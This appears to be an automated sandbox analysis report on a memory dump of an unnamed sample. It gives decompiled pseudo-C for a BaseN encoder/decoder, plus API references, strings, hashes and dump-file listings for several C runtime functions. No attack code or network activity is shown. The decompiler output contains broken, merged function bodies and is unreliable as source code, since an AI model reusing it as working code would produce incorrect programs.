Opcode ID: d0cb049ef95fb8deb112cf79b4a167bc4e0e377a0e749403bc0efb9a390df8a3
Instruction ID: af7ca0bdca8ba7009d33eedea02fa3a426614d0ceb25eaad000d441503254a93
Opcode Fuzzy Hash: d0cb049ef95fb8deb112cf79b4a167bc4e0e377a0e749403bc0efb9a390df8a3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: 100.00%

Non-executed Functions

Function 000B44B0, Relevance: 30.2, APIs: 4, Strings: 13, Instructions: 440
UNIQUECrypto

Download Yara Rule

C-Code - Quality: 67%

			E000B44B0(intOrPtr* __ecx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				signed int _v4;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				char _v48;
				char _v52;
				char _v60;
				char _v72;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v108;
				char _v116;
				char _v120;
				char _v128;
				char _v132;
				char _v140;
				char _v144;
				char _v152;
				char _v156;
				char _v164;
				char _v165;
				signed char _v166;
				char _v168;
				void* _v172;
				signed int* _v176;
				intOrPtr _v180;
				signed int* _v188;
				void* _v192;
				char _v196;
				void* _v200;
				intOrPtr _v204;
				intOrPtr _v208;
				intOrPtr _v216;
				void* _v220;
				char _v224;
				intOrPtr* _v400;
				char _v420;
				signed int _v424;
				intOrPtr* _v588;
				char _v600;
				char _v608;
				signed int _v612;
				signed int _v752;
				signed int _v756;
				intOrPtr _v760;
				signed int _v768;
				signed int _v772;
				char _v776;
				signed int _v780;
				signed int _v784;
				intOrPtr _v788;
				signed int _v796;
				signed int _v800;
				char _v804;
				void _v808;
				intOrPtr _v828;
				signed int _v832;
				void* __edi;
				signed int _t205;
				signed int _t206;
				void* _t211;
				void* _t213;
				void* _t215;
				void* _t217;
				signed int _t222;
				signed int _t223;
				signed int _t227;
				void* _t228;
				void* _t230;
				void* _t232;
				void* _t234;
				signed int _t239;
				signed int _t240;
				signed int _t244;
				void* _t245;
				void* _t247;
				void* _t249;
				char* _t251;
				signed int _t256;
				signed int _t257;
				signed int _t261;
				intOrPtr _t262;
				signed int* _t266;
				intOrPtr _t268;
				intOrPtr _t270;
				intOrPtr _t274;
				signed int _t280;
				void* _t281;
				void* _t283;
				void* _t285;
				void* _t287;
				signed int _t292;
				signed int _t294;
				intOrPtr _t300;
				void* _t304;
				signed int _t305;
				signed int _t306;
				signed int _t310;
				signed int _t319;
				signed int _t320;
				signed int _t327;
				signed int _t339;
				void* _t349;
				signed int* _t350;
				signed char _t353;
				signed int _t372;
				void* _t377;
				void* _t379;
				intOrPtr _t381;
				signed int* _t384;
				char* _t392;
				intOrPtr _t393;
				void* _t396;
				void* _t404;
				signed int _t411;
				signed int _t428;
				signed int _t441;
				signed int _t443;
				signed int _t447;
				intOrPtr _t450;
				char* _t451;
				char* _t452;
				char* _t453;
				signed int _t459;
				signed int _t462;
				signed int _t469;
				intOrPtr* _t470;
				intOrPtr* _t471;
				char* _t473;
				signed int _t478;
				signed int* _t480;
				signed int _t483;
				signed int _t484;
				signed int _t485;
				signed int _t486;
				void* _t488;
				void* _t489;
				signed int _t490;
				void* _t491;
				signed int _t492;
				signed int _t493;
				void* _t494;
				void* _t498;

				_push(0xffffffff);
				_push(0x134f23);
				_push( *[fs:0x0]);
				_t489 = _t488 - 0x8c;
				_t205 =  *0x16f170; // 0xdb2c627e
				_t206 = _t205 ^ _t483;
				_v20 = _t206;
				_push(_t206);
				 *[fs:0x0] =  &_v16;
				_t469 = _a8;
				_t450 = _a4;
				_push(_a12);
				_push(0x174650);
				_push(_t469);
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 4))))() == 0) {
					_t211 = E00064B00( &_v84, _t450);
					_v8 = 0;
					_t213 = E0006CBA0( &_v108, _t211, ": missing required parameter \'");
					_v8 = 1;
					_t215 = E0006CBA0( &_v132, _t213, _t469);
					_v8 = 2;
					_t217 = E0006CBA0( &_v156, _t215, "\'");
					_t490 = _t489 + 0x24;
					_v8 = 3;
					E00059080(_t217);
					E001047B7( &_v60, 0x16c9bc);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_t484 = _t490;
					_t491 = _t490 - 0xb4;
					_t222 =  *0x16f170; // 0xdb2c627e
					_t223 = _t222 ^ _t484;
					_v200 = _t223;
					 *[fs:0x0] =  &_v196;
					_t451 =  &_v60;
					_t350 = _v176;
					_t227 =  *((intOrPtr*)( *((intOrPtr*)( *_t350 + 4))))("DecodingLookupArray", 0x174100, _t451 + 0x18, _t223, _t450, _t469, _t349,  *[fs:0x0], 0x134f81, 0xffffffff, _t483);
					__eflags = _t227;
					if(_t227 == 0) {
						L13:
						_t228 = E00064B00( &_v48, "BaseN_Decoder");
						_v12 = 0;
						_t230 = E0006CBA0( &_v152, _t228, ": missing required parameter \'");
						_v12 = 1;
						_t232 = E0006CBA0( &_v176, _t230, "DecodingLookupArray");
						_v12 = 2;
						_t234 = E0006CBA0( &_v200, _t232, "\'");
						_t492 = _t491 + 0x24;
						_v12 = 3;
						E00059080(_t234);
						E001047B7( &_v88, 0x16c9bc);
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						asm("int3");
						_t485 = _t492;
						_t493 = _t492 - 0x90;
						_t239 =  *0x16f170; // 0xdb2c627e
						_t240 = _t239 ^ _t485;
						_v424 = _t240;
						 *[fs:0x0] =  &_v420;
						_t452 =  &_v88;
						_t470 = _v400;
						_t244 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("EncodingLookupArray", 0x1713bc, _t452 + 0x18, _t240, _t451, _t469, _t350,  *[fs:0x0], 0x134fdb, 0xffffffff, _t484);
						__eflags = _t244;
						if(_t244 == 0) {
							_t245 = E00064B00( &_v52, "BaseN_Encoder");
							_v16 = 0;
							_t247 = E0006CBA0( &_v116, _t245, ": missing required parameter \'");
							_v16 = 1;
							_t249 = E0006CBA0( &_v140, _t247, "EncodingLookupArray");
							_v16 = 2;
							_t251 = E0006CBA0( &_v164, _t249, "\'");
							_t493 = _t493 + 0x24;
							_v16 = 3;
							goto L26;
						} else {
							_t350 = _t452 + 0x20;
							_push(_t350);
							_push("Log2Base");
							_push("BaseN_Encoder");
							E000B44B0(_t470);
							__eflags =  *_t350 - 1 - 6;
							if( *_t350 - 1 > 6) {
								E00064B00( &_v52, "BaseN_Encoder: Log2Base must be between 1 and 7 inclusive");
								_v16 = 4;
								_t251 =  &_v52;
								L26:
								E00059080(_t251);
								E001047B7( &_v92, 0x16c9bc);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_t486 = _t493;
								_t494 = _t493 - 0xc8;
								_t256 =  *0x16f170; // 0xdb2c627e
								_t257 = _t256 ^ _t486;
								_v612 = _t257;
								 *[fs:0x0] =  &_v608;
								_t453 =  &_v92;
								_t471 = _v588;
								_t261 =  *((intOrPtr*)( *((intOrPtr*)( *_t471 + 4))))("GroupSize", 0x174650,  &_v808, _t257, _t452, _t470,  *[fs:0x0], 0x13505f, 0xffffffff, _t485);
								_v760 = 0xffffffff;
								__eflags = _t261;
								_v756 = 0;
								_v752 = 0;
								_t372 =  !=  ? _v808 : 0;
								 *(_t453 + 0x38) = _t372;
								_v772 = 0;
								_v768 = 0;
								_v776 = 0;
								_v600 = 2;
								_v788 = 0xffffffff;
								_v784 = 0;
								_v780 = 0;
								_v800 = 0;
								_v796 = 0;
								_v804 = 0;
								_t262 =  *_t471;
								__eflags = _t372;
								_v600 = 5;
								_push( &_v776);
								_push(0x175c1c);
								_push("Separator");
								if(_t372 == 0) {
									 *((intOrPtr*)(_t262 + 4))();
									goto L31;
								} else {
									_t280 =  *((intOrPtr*)( *((intOrPtr*)(_t262 + 4))))();
									__eflags = _t280;
									if(_t280 == 0) {
										_t281 = E00064B00( &_v96, "Grouper");
										_v20 = 6;
										_t283 = E0006CBA0( &_v120, _t281, ": missing required parameter \'");
										_v20 = 7;
										_t285 = E0006CBA0( &_v144, _t283, "Separator");
										_v20 = 8;
										_t287 = E0006CBA0( &_v168, _t285, "\'");
										_t498 = _t494 + 0x24;
										_t392 =  &_v72;
										_v20 = 9;
										E00059080(_t287);
										E001047B7( &_v72, 0x16c9bc);
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t486);
										_push(_t392);
										_push(_t350);
										_push(_t471);
										_t473 = _t392;
										_t393 = _v828;
										_push(_t453);
										_t459 = _v832;
										_t292 =  *(_t473 + 0x14);
										__eflags = _t292;
										if(_t292 == 0) {
											 *(_t473 + 0x10) = 0;
											goto L44;
										} else {
											_t310 = _t292 - 1;
											__eflags = _t310;
											if(_t310 == 0) {
												L57:
												_t306 = E000B2A80(_t473, 1,  *((intOrPtr*)(_t473 + 0x38)),  *((intOrPtr*)(_t473 + 0x20)), 0, _t393, 0x16f03c);
												__eflags = _t306;
												if(_t306 != 0) {
													_t404 =  *((intOrPtr*)(_t473 + 0x20)) -  *(_t473 + 0x10);
													__eflags = _t404 - 1;
													_t308 =  >  ? _t404 : 1;
													return  >  ? _t404 : 1;
												} else {
													_t393 = _v0;
													 *(_t473 + 0x28) = _t306;
													 *(_t473 + 0x24) = _t306;
													while(1) {
														L44:
														_t441 =  *(_t473 + 0x10);
														__eflags = _t441 - _v8;
														if(_t441 >= _v8) {
															break;
														}
														_t353 =  *( *((intOrPtr*)(_t473 + 0x18)) + ( *(_t441 + _v12) & 0x000000ff) * 4);
														_t393 = _v0;
														 *(_t473 + 0x10) = _t441 + 1;
														__eflags = _t353 - 0x100;
														if(_t353 >= 0x100) {
															continue;
														} else {
															_t462 =  *(_t473 + 0x24);
															__eflags = _t462;
															if(_t462 == 0) {
																__eflags =  *(_t473 + 0x28) - _t462;
																if( *(_t473 + 0x28) == _t462) {
																	E001053E0(_t462,  *((intOrPtr*)(_t473 + 0x38)), _t462,  *((intOrPtr*)(_t473 + 0x20)));
																	_t462 =  *(_t473 + 0x24);
																	_t498 = _t498 + 0xc;
																}
															}
															_t443 =  *((intOrPtr*)(_t473 + 0x1c)) +  *(_t473 + 0x28);
															_t300 =  *((intOrPtr*)(_t473 + 0x38));
															__eflags = _t443 - 8;
															if(_t443 > 8) {
																_t176 = _t443 - 8; // 0x13b780
																 *( *((intOrPtr*)(_t473 + 0x38)) + _t462) =  *( *((intOrPtr*)(_t473 + 0x38)) + _t462) | _t353 >> _t176;
																_t304 =  *(_t473 + 0x24) +  *((intOrPtr*)(_t473 + 0x38));
																_t182 = _t304 + 1;
																 *_t182 =  *(_t304 + 1) | _t353 << 0x00000010 - _t443;
																__eflags =  *_t182;
															} else {
																 *(_t300 + _t462) =  *(_t300 + _t462) | _t353 << 0x00000008 - _t443;
															}
															_t305 =  *(_t473 + 0x24);
															 *(_t473 + 0x28) = _t443;
															__eflags = _t443 - 8;
															if(_t443 >= 8) {
																do {
																	_t443 = _t443 - 8;
																	_t305 = _t305 + 1;
																	__eflags = _t443 - 8;
																} while (_t443 >= 8);
																 *(_t473 + 0x24) = _t305;
																 *(_t473 + 0x28) = _t443;
															}
															_t393 = _v0;
															__eflags = _t305 -  *((intOrPtr*)(_t473 + 0x20));
															if(_t305 !=  *((intOrPtr*)(_t473 + 0x20))) {
																continue;
															} else {
																goto L57;
															}
														}
														goto L65;
													}
													_t459 = _v4;
													__eflags = _t459;
													if(_t459 == 0) {
														goto L64;
													} else {
														goto L61;
													}
												}
											} else {
												__eflags = _t310 == 1;
												if(_t310 == 1) {
													L61:
													_t294 = E000B2A80(_t473, 2,  *((intOrPtr*)(_t473 + 0x38)),  *(_t473 + 0x24), _t459, _t393, 0x16f03c);
													__eflags = _t294;
													if(_t294 == 0) {
														 *(_t473 + 0x28) = 0;
														 *(_t473 + 0x24) = 0;
														L64:
														__eflags = 0;
														return 0;
													} else {
														_t396 =  *(_t473 + 0x24) -  *(_t473 + 0x10);
														__eflags = _t396 - 1;
														_t296 =  >  ? _t396 : 1;
														return  >  ? _t396 : 1;
													}
												} else {
													__eflags = 0;
													return 0;
												}
											}
										}
									} else {
										L31:
										 *((intOrPtr*)( *_t471 + 4))("Terminator", 0x175c1c,  &_v224);
										__eflags = _v196;
										if(_v196 == 0) {
											_t266 = _v188;
											_t377 = _v192;
										} else {
											_t266 = _v176;
											_t377 = _v172;
										}
										E00063600(_t377, _t266);
										__eflags = _v224;
										if(_v224 == 0) {
											_t268 = _v216;
											_t379 = _v220;
										} else {
											_t268 = _v204;
											_t379 = _v200;
										}
										E00063600(_t379, _t268);
										 *(_t453 + 0x3c) = 0;
										_t270 = _v208;
										_t381 = _v204;
										__eflags = _t270 - _t381;
										_t382 =  <  ? _t270 : _t381;
										_v20 = 0xa;
										memset(_v200, 0, ( <  ? _t270 : _t381) << 0);
										L000B3E40(_v200);
										_t274 = _v180;
										_t384 = _v176;
										__eflags = _t274 - _t384;
										_t385 =  <  ? _t274 : _t384;
										_v20 = 0xb;
										memset(_v172, 0, ( <  ? _t274 : _t384) << 0);
										L000B3E40(_v172);
										 *[fs:0x0] = _v28;
										__eflags = _v32 ^ _t486;
										return E000ECED8(_v32 ^ _t486);
									}
								}
							} else {
								_t319 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("PaddingByte", 0x171448,  &_v166);
								__eflags = _t319;
								if(_t319 == 0) {
									L20:
									_t320 = _t319 | 0xffffffff;
									__eflags = _t320;
								} else {
									_t319 =  *((intOrPtr*)( *((intOrPtr*)( *_t470 + 4))))("Pad", 0x176030,  &_v165);
									__eflags = _t319;
									if(_t319 == 0) {
										L19:
										_t320 = _v166 & 0x000000ff;
									} else {
										__eflags = _v165;
										if(_v165 == 0) {
											goto L20;
										} else {
											goto L19;
										}
									}
								}
								_t478 =  *_t350;
								_t411 = 8;
								 *(_t452 + 0x1c) = _t320;
								asm("cdq");
								 *(_t452 + 0x2c) = 0;
								 *(_t452 + 0x28) = 0;
								__eflags = 8 % _t478;
								if(8 % _t478 != 0) {
									do {
										_t411 = _t411 + 8;
										_t327 = _t411;
										asm("cdq");
										__eflags = _t327 % _t478;
									} while (_t327 % _t478 != 0);
								}
								asm("cdq");
								 *(_t452 + 0x24) = _t411 / _t478;
								E00063580(_t452 + 0x30, _t411 / _t478);
								 *[fs:0x0] = _v24;
								__eflags = _v28 ^ _t485;
								return E000ECED8(_v28 ^ _t485);
							}
						}
					} else {
						_t480 = _t451 + 0x1c;
						_push(_t480);
						_push("Log2Base");
						_push("BaseN_Decoder");
						E000B44B0(_t350);
						_t469 =  *_t480;
						__eflags = _t469 - 1 - 6;
						if(_t469 - 1 > 6) {
							E00064B00( &_v48, "BaseN_Decoder: Log2Base must be between 1 and 7 inclusive");
							_v12 = 4;
							E00059080( &_v48);
							E001047B7( &_v128, 0x16c9bc);
							goto L13;
						} else {
							_t447 = _t469;
							 *(_t451 + 0x28) = 0;
							 *(_t451 + 0x24) = 0;
							_t339 = _t447 & 0x80000007;
							__eflags = _t339;
							if(__eflags < 0) {
								__eflags = (_t339 - 0x00000001 | 0xfffffff8) + 1;
							}
							while(__eflags != 0) {
								_t447 = _t447 + _t469;
								_t428 = _t447 & 0x80000007;
								__eflags = _t428;
								if(__eflags < 0) {
									__eflags = (_t428 - 0x00000001 | 0xfffffff8) + 1;
								}
							}
							asm("cdq");
							 *(_t451 + 0x20) = _t447 + (_t447 & 0x00000007) >> 3;
							E00063580(_t451 + 0x2c, _t447 + (_t447 & 0x00000007) >> 3);
							 *[fs:0x0] = _v20;
							__eflags = _v24 ^ _t484;
							return E000ECED8(_v24 ^ _t484);
						}
					}
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t483);
				}
				L65:
			}

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 000B4572

Part of subcall function 001047B7: RaiseException.KERNEL32(?,?,?,000EE134,?,?,?,?,?,?,?,?,000EE134,DB2C627E,0016AD84,DB2C627E), ref: 00104817

__CxxThrowException@8.LIBVCRUNTIME ref: 000B46F6
__CxxThrowException@8.LIBVCRUNTIME ref: 000B4AFE

Part of subcall function 000B44B0: __CxxThrowException@8.LIBVCRUNTIME ref: 000B4686

__CxxThrowException@8.LIBVCRUNTIME ref: 000B489E

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

BaseN_Decoder: Log2Base must be between 1 and 7 inclusive, xrefs: 000B465D
Terminator, xrefs: 000B49C0
DecodingLookupArray, xrefs: 000B45C3, 000B46B1
Log2Base, xrefs: 000B45D8, 000B4758
: missing required parameter ', xrefs: 000B451E, 000B4698
BaseN_Encoder: Log2Base must be between 1 and 7 inclusive, xrefs: 000B4820
Pad, xrefs: 000B479F
PaddingByte, xrefs: 000B4781
EncodingLookupArray, xrefs: 000B4743
BaseN_Decoder, xrefs: 000B45DD, 000B468B
GroupSize, xrefs: 000B48EE
Separator, xrefs: 000B4999
BaseN_Encoder, xrefs: 000B475D

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw$ExceptionFeaturePresentProcessorRaise___raise_securityfailure
String ID: : missing required parameter '$BaseN_Decoder$BaseN_Decoder: Log2Base must be between 1 and 7 inclusive$BaseN_Encoder$BaseN_Encoder: Log2Base must be between 1 and 7 inclusive$DecodingLookupArray$EncodingLookupArray$GroupSize$Log2Base$Pad$PaddingByte$Separator$Terminator
API String ID: 654547538-807858313
Opcode ID: 4f15650ddc0440a3f7d444e5b5630c93b5d96fef3e0af1715cef50f23442a394
Instruction ID: 485bf8d73f4a3a24451154ebc4d3c8aa12578e6410c9684945b54f6deaeb4c33
Opcode Fuzzy Hash: 4f15650ddc0440a3f7d444e5b5630c93b5d96fef3e0af1715cef50f23442a394
Instruction Fuzzy Hash: 7EE1A1B1A00218EFDB14DF64DC45FEEBBB9EB49714F104199F419A7282DB74AA48CB90

Uniqueness

Uniqueness Score: 100.00%

Function 00128166, Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 001282AC

Part of subcall function 00115B00: __aulldvrm.LIBCMT ref: 00115BF9
Part of subcall function 00115B00: __aulldvrm.LIBCMT ref: 00115DC9

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

Strings

1#IND, xrefs: 001294A4
1#QNAN, xrefs: 001294B2
1#SNAN, xrefs: 001294AB
1#INF, xrefs: 001294B9

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: FeaturePresentProcessProcessor__aulldvrm$CurrentTerminate___raise_securityfailure__floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 2719626002-2761157908
Opcode ID: d7b13471d63ac1c11c73a7c0f2815cd6c9d97ab8ca86e91da6ef8fdc3525660c
Instruction ID: 0f8df6d778aca70586f2d1e7e9277b2e2d5f5a810ca61fb975479e808b84bfcc
Opcode Fuzzy Hash: d7b13471d63ac1c11c73a7c0f2815cd6c9d97ab8ca86e91da6ef8fdc3525660c
Instruction Fuzzy Hash: 73C24A71E096398FDB29DE28ED447EAB3B5EB44304F1541EAD84DE7240EB74AE918F40

Uniqueness

Uniqueness Score: 0.98%

Function 0012447F, Relevance: 9.3, APIs: 6, Instructions: 277timeUNIQUE

Download Yara Rule

APIs

Part of subcall function 0011D9CA: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,0011D976,?,00000000,?,00124E06,?,00000004,?,?,?,?,001197EF), ref: 0011D9FC

_free.LIBCMT ref: 001244D8

Part of subcall function 0010F468: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0010F46A
Part of subcall function 0010F468: GetCurrentProcess.KERNEL32(C0000417), ref: 0010F48C
Part of subcall function 0010F468: TerminateProcess.KERNEL32(00000000), ref: 0010F493

_free.LIBCMT ref: 001244B4

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

_free.LIBCMT ref: 0012465F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,0014C7B0), ref: 00124671
WideCharToMultiByte.KERNEL32(00000000,00000000,0017A1FC,000000FF,00000000,0000003F,00000000,?,?), ref: 001246E9
WideCharToMultiByte.KERNEL32(00000000,00000000,0017A250,000000FF,?,0000003F,00000000,?), ref: 00124716

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: _free$ByteCharHeapMultiProcessWide$AllocateCurrentErrorFeatureFreeInformationLastPresentProcessorTerminateTimeZone
String ID:
API String ID: 3430689126-0
Opcode ID: b7a6198746956fa85d6f0f0286fc6204e76d368bf50e73547088e99655036f73
Instruction ID: 603176f7448b1b8ae437fd69abc31ccfcb5acfd80c7ffbe68acd1a15e1ec633a
Opcode Fuzzy Hash: b7a6198746956fa85d6f0f0286fc6204e76d368bf50e73547088e99655036f73
Instruction Fuzzy Hash: C39126719002B5AFDB24DF68B841BAD7BB9EF52310F5840AAE4C59B251E7318EA1C750

Uniqueness

Uniqueness Score: 100.00%

Function 000B8790, Relevance: .5, Instructions: 541COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f53cc95fde89aa4cef05952ff9b777555007ab3e360fd9e68e3c61384d9b702
Instruction ID: decb941eda687d85741e13f5a12db49eadb387d09e43f43b742f5fe7a604154d
Opcode Fuzzy Hash: 0f53cc95fde89aa4cef05952ff9b777555007ab3e360fd9e68e3c61384d9b702
Instruction Fuzzy Hash: 27125C72B002159BCB08CE5DC891799F7F6EF88324F19817DE81ADB751EA78ED458B80

Uniqueness

Uniqueness Score: 0.00%

Function 000D4040, Relevance: .4, Instructions: 405COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID: Exception@8Throw
String ID:
API String ID: 2005118841-0
Opcode ID: e3dbdfe715f355a82727cf39231be4b8f7751ca83c591043c18796698dec290d
Instruction ID: 4c5631119502bed68005b4090d3044f1abb7f6f66a4f5c3568c04703196fd38b
Opcode Fuzzy Hash: e3dbdfe715f355a82727cf39231be4b8f7751ca83c591043c18796698dec290d
Instruction Fuzzy Hash: 6EF12A74A017068FDB64CF29C890B6AB7F1FF89714B18856ED816DB751EB31E811CB60

Uniqueness

Uniqueness Score: 0.00%

Function 000B4060, Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fc97088e59fdce026f2d0065bd70b9ceb8beb9955f0c85e79447ad5354735e0
Instruction ID: 4486fa8939734d9cec60bfc7dedd9508b03c083f4d2efd582eb7cb80567938d6
Opcode Fuzzy Hash: 1fc97088e59fdce026f2d0065bd70b9ceb8beb9955f0c85e79447ad5354735e0
Instruction Fuzzy Hash: 3B917B71E0025A8BDF11CF7CC5815EDB7B1FFA8348B158769EC54AB206E730BA958B50

Uniqueness

Uniqueness Score: 0.00%

Function 000B42E0, Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee4439147b8e6c19118624cc260a2903c82b8d0627138ed8bf35ca30b9599193
Instruction ID: 5571afe65431b957e36260c41fba1b4cb169200b279395ee8e2ab476844b80b8
Opcode Fuzzy Hash: ee4439147b8e6c19118624cc260a2903c82b8d0627138ed8bf35ca30b9599193
Instruction Fuzzy Hash: 5B51CE32D046998BDB11CF3CC5855ECB7B1BFA9348B1AC399D8486B117EB30BB858740

Uniqueness

Uniqueness Score: 0.00%

Function 000785B0, Relevance: .1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2443005433.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000017.00000002.2442134954.00050000.00000002.sdmp Download File
Associated: 00000017.00000002.2479575399.0013A000.00000002.sdmp Download File
Associated: 00000017.00000002.2488409501.0016F000.00000004.sdmp Download File
Associated: 00000017.00000002.2488905159.00170000.00000008.sdmp Download File
Associated: 00000017.00000002.2489843032.00173000.00000004.sdmp Download File
Associated: 00000017.00000002.2490345598.00174000.00000008.sdmp Download File
Associated: 00000017.00000002.2491072778.00177000.00000004.sdmp Download File
Associated: 00000017.00000002.2492029941.0017B000.00000002.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27398a6bd04e7b042c2df0dd4eefd57469496f7df0cf8f294bdbd0d9e34c2454
